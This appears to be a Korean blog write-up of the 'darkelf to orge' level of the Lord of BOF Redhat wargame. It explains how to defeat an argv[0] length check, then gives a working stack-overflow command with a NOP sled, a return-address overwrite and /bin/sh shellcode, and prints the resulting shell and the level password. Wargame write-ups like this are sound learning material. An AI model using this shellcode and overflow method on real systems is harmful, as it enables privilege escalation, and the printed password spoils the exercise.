wargame/LOB Redhat

darkelf to orge

Sanguine 2014. 5. 27. 13:55

코드를 보면

        if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

        }

 

이것이 포함되어있는데

 

argv[0] 파일의 위치를 나타내는 것이다. 그것의 길이가 77 되야한다.

그래서 폴더를 만들어 길이를 77 마추는 작업을 해준다.

strlen("/home/darkelf/[폴더이름]/orge") = 77

strlen("[폴더이름]")=77-strlen("/home/darkelf//orge")

이므로, 폴더이름은 58글자가 되야한다.

 

그리고 입력할때 상대주소로 입력하면 안되고 절대주소로 입력하여 프로그램을 실행시켜야 한다.

bash2 사용해야한다.

 

(gdb) x/2s 0xbffffd21

0xbffffd21:      "/home/darkelf/", 'a' <repeats 58 times>, "/org1"

0xbffffd6f:      'a' <repeats 47 times>, "?

 

 

argv[2] 주소를 체크하고, 공격!

 

 

[darkelf@localhost aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]$ /home/darkelf/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaa/orge  `perl -e 'print "\x90"x44,"\x6f\xfc\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x

50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱o?

풺ash$ id

uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)

bash$ my-pass

euid = 507

timewalker